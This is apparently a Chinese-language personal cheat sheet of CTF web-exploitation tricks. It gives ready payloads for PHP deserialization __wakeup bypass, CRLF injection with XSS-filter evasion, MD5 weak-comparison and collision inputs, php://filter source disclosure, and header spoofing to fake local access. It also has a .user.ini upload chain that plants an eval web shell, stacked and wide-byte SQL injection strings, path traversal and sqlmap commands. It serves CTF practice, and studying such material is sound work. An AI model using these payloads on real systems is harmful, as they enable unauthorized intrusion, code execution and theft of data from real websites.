杂记
HTTP
本地访问
X-Real-Ip:
X-Forwarded-For:
Client-Ip:
代理(从哪个网站)
Via:
Referer(从哪个网站)
User-Agent(从哪个浏览器)
反序列化—魔术方法
__construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //调用对象不可访问、不存在的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //调用不可访问、不存在的对象成员属性时触发
__set() //在给不可访问、不存在的对象成员属性赋值时触发
__isset() //当对不可访问属性调用isset()或empty()时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //把对象当初函数调用时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //把对象当成字符串调用时触发
__clone() //使用clone关键字拷贝完一个对象后触发
CRLF攻击
资料链接: https://www.cnblogs.com/studyskill/p/6972576.html
crlf顾名思义就是其中的回车和换行,造成的漏洞是HRS漏洞
在http当中http的header和body之间就是两个crlf进行分隔的
HRS漏洞就是如果能控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以crlf injection 又叫做 HTTP response Splitting
HRS漏洞可以造成 固定会话漏洞 和 无视filter的反射型xss漏洞
原理 一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址,对这个地址进行污染。
HRS漏洞存在的前提是 :url当中输入的字符会影响到文件,比如在重定位当中可以尝试使用%0d%0a作为crlf,
利用方式:连续使用两次%0d%oa就会造成header和body之间的分离。就可以在其中插入xss代码形成反射型xss漏洞(如何做到无视filiter?)
如何绕过服务端的filiter(xss漏洞)
1,可以在header当中注入另外的字符集<meta charset=ISO-2022-KR>
使用%0f进行标记,之后的字符就不会过滤
2,可以注入一个X-XSS-Protection:0就不会被拦截了
使用一次%0d%0a就可以注入其http header当中的代码比如注入set-cookie信息造成会话固定漏洞
防范方式:在url当中过滤%0a%0d的字符,致使其不能进行转换,或者使其不能进行污染
杂
1.$a != $b && md5($a) == md5($b)———-a=240610708&b=s878926199a——弱类型
2.$ver1!=ver2—————–ver1[]=1&ver2[]=2
3.md和md5后都是以0e开头的字符串:(数字):240610708 ==>md5==> 0e462097431906509019562988736854
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
*$a==md5($a)*
0e215962017 ==> 0e291242476940776845150308577824
0e1284838308 ==>0e708279691820928818722257405159
0e1137126905 ==> 0e291659922323405260514745084877
0e807097110 ==>0e318093639164485566453180786895
0e730083352 ==>0e870635875304277170259950255928
*md5($a)===md5($b) & $a != $b*
(1)数组绕过
a[]=1&b[]=2
(2)两串不一样的字符,加密结果却相同:
$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
&
$b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
**(3)**构造特定字符串
4.cookie:name=php://filter/read=convert.base64-encode/resource=flag————–伪协议
寻找index.php源代码:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
若不行no back,去掉read,转换成 ?filename=php://filter//convert.iconv.a.b/resource=flag.php
抓包找漏洞
5.SELECT*FROMjava.util.LinkedHashMap$EntryxWHERE(toString(x.key).contains(“app.password”))—————————mat的sql查询password
6.add header==> X-Forwarded-For: 127.0.0.1 / X-Real-Id:127.0.0.1——————本地访问
7.IP被限制==>数据包加入X-Forwarded-For: 127.0.0.1———————-加在账号密码上一行的上一行,上一行为空白,**但是账号密码上一行必须是空行(其实随便加进去都行,只要账号密码上空出来,即自己额外加一行)
如:
X-Forwarded-For: 127.0.0.1
username=admin&&pass=6526——————-注**:管理员的账号一定是 admin
8.只有[ 、 ] 、 ( 、 ) 、 ! 和 + 这六个字符组成的是 jspfuck(呼应题目),就是不想让别人认出自己的js代码,但浏览器可识别==>把那一串字符扔进浏览器的 chrome控制台就可
\9. BASE64加密的特征:包含“==”
\10. str_replace 把字符串中的’key’替换为空可以使用类似这样的语句:kkeyey
key1可以写为 kkeyey1
\11. 常见的备份文件后缀名有: .git .svn .swp .svn .~ .bak .bash_history、11.PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。
wakeup绕过:大于已知数,如O:4:”xctf”:1:{s:4:”flag”;s:3:”111”;}用O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}绕过 大于1即可
\12. 文件漏洞上传:
一、.user.ini
(1)先上传.user.ini:
GIF89a
auto_prepend_file=a.jpg
(改包时候一定是“.user.ini”
Content-Type: image/jpg
)
(2) 再上传a.jpg:
GIF89a
=eval($_POST['cmd']);?>
改包:“a.jgp”
Content-Type: image/jpeg
(3) F12查看来源:/uploads/index.php
(4) 用蚁剑连接 密码cmd
点”上一级“,查看更多的文件
**
**
\13. convert.iconv过滤(bp爆破字典)
filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php
\14. ?url=/var/log/nginx/access.log
nginx服务器
\15. 无授权访问:
/a.css/../ + 要访问的
如:
/a.css/../flag.html
二、SQL
\1. select 被过滤
(1) 0’;rename table words
to words2;rename table 1919810931114514
to words;alter table words change flag id varchar(100);show tables;#
然后 1‘ or 1=1 #(也是万能密码)
(2) 1’; handler 1919810931114514
open as a
; handler a
read next;#
(表名 单引号要反着用)
(3) 预编译:
concat 拼接: -1’;set @sql = CONCAT(‘se’,’lect * from 1919810931114514
;’);prepare stmt from @sql;EXECUTE stmt;#
或者
1;set sql_mode=pipes_as_concat;select 2
2.宽字节注入:
?id=1%df
%df%27
三、sqlmap**
** python sqlmap.py -u xxxxx –dbs
python sqlmap.py -r post抓包文件 –dbs
python sqlmap.py -u xxxx –data=”username=1” –dbs
数据库 -D
表 -T 表名 -tables
列 -C 列名 -columns
字段 –dump
完整:
python sqlmap.py xxxxxxxxxxxxxxxxxxx -D xx -T xx -C xx –dump
另: –batch 意思是 选项全勾